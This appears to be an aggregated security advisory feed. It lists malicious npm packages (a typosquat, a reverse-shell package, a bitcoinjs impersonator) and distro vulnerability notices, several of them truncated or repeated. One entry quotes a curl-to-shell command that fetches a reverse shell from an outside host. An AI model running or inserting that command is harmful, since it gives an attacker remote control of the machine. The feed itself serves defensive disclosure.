MAL-2026-11518 Malicious code in exnesss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 184796b4aafee8400786643e9f43338886de2166171c62879cfd4c023655b487 Package name 'exnesss' typosquats 'exness'. The package.json declares scripts.postinstall: 'node./postinstall.js', and postinstall.js issues an HTTPS...

MAL-2026-11517 Malicious code in internallib_v688 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...

Malicious code in internallib_v688 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...

Malicious code in @zzzgenesis00/bip39-generator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4029e4462d0c27bbfd619024ba7311a0ecefef1ce551dba08ea57e920047e246 Package @zzzgenesis00/bip39-generator impersonates the bitcoinjs project author field set to 'bitcoinjs', repo URL pointing at...

MAL-2026-11515 Malicious code in @zzzgenesis00/bip39-generator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4029e4462d0c27bbfd619024ba7311a0ecefef1ce551dba08ea57e920047e246 Package @zzzgenesis00/bip39-generator impersonates the bitcoinjs project author field set to 'bitcoinjs', repo URL pointing at...

CVE-2026-12436 vulnerabilities

Vulnerabilities for packages: gitlab-workhorse-ce, gitlab-runner, gitlab-cng-fips, gitlab-rails-ce-fips, gitlab-workhorse-ce-fips, gitlab-runner-fips, gitlab-cng, gitlab-rails-ce...

GHSA-94P8-87FF-W336 vulnerabilities

Vulnerabilities for packages: gitlab-workhorse-ce, gitlab-runner, gitlab-cng-fips, gitlab-rails-ce-fips, gitlab-workhorse-ce-fips, gitlab-runner-fips, gitlab-cng, gitlab-rails-ce...

GHSA-8JC8-CVQJ-P926 vulnerabilities

Vulnerabilities for packages: gitlab-workhorse-ce, gitlab-runner, gitlab-cng-fips, gitlab-rails-ce-fips, gitlab-workhorse-ce-fips, gitlab-runner-fips, gitlab-cng, gitlab-rails-ce...

Allocation of Resources Without Limits or Throttling

Overview Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the buildchaininner function. An attacker can cause excessive resource consumption by submitting a certificate chain containing duplicate self-signed intermediates, which lead...

golang-github-prometheus-prometheus-3.13.2-1.1 on GA media (moderate)

golang-github-prometheus-prometheus-3.13.2-1.1 on GA media Announcement ID: openSUSE-SU-2026:11436-1 Rating: moderate Cross-References: CVE-2023-45289 CVE-2025-4673 CVE-2026-44990 CVE-2026-56852 CVSS scores: CVE-2023-45289 SUSE : 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVE-2025-4673 SUSE...

Amazon Linux 2023 : python3-rpm, rpm, rpm-apidocs (ALAS2023-2026-1991)

It is, therefore, affected by a vulnerability as referenced in the ALAS2023-2026-1991 advisory. A heap buffer overflow exists in RPM's NDB database backend lib/backend/ndb/rpmpkg.c due to unchecked 32-bit arithmetic when parsing the slot table. The slotnpages value is read directly from the on-di...

Important Photon OS Security Update - PHSA-2026-5.0-92-0939

Updates of 'python3-tornado' packages of Photon OS have been released...

MiracleLinux 8 : acl-2.4.0-1.el8 (AXSA:2026-1434:01)

The remote MiracleLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2026-1434:01 advisory. acl: Symlink traversal privilege escalation via libacl functions CVE-2026-54369 acl: TOCTOU Symlink Traversal via getfacl/setfacl CVE-2026-54370...

Linux Distros Unpatched Vulnerability : CVE-2026-47764

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - pdm is a Python package and dependency manager supporting the latest PEP standards. Versions prior to 2.27.0 are vulnerable to path traversal through writetofs...

Linux Distros Unpatched Vulnerability : CVE-2026-47781

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins...

Linux Distros Unpatched Vulnerability : CVE-2026-69247

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 44.0.0 until 50.0.0, pkcs7decryptder,...

OPENSUSE-SU-2026:11451-1 python311-pip-26.2-1.1 on GA media

These are all security issues fixed in the python311-pip-26.2-1.1 package on the GA media of openSUSE Tumbleweed...

MiracleLinux 9 : git-lfs-3.7.1-4.el9_8.1 (AXSA:2026-1441:10)

The remote MiracleLinux 9 host has a package installed that is affected by a vulnerability as referenced in the AXSA:2026-1441:10 advisory. golang.org/x/net/idna: golang: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing CVE-2026-39821 Tenable has extracted the...

Photon OS 5.0: Nginx PHSA-2026-5.0-0935

An update of the nginx package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-0935. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...

MiracleLinux 9 : mod_md-2.4.26-2.el9_8.1 (AXSA:2026-1444:01)

The remote MiracleLinux 9 host has a package installed that is affected by a vulnerability as referenced in the AXSA:2026-1444:01 advisory. httpd: modmd: unrestricted OCSP response leads to resource exhaustion CVE-2026-29168 Tenable has extracted the preceding description block directly from the...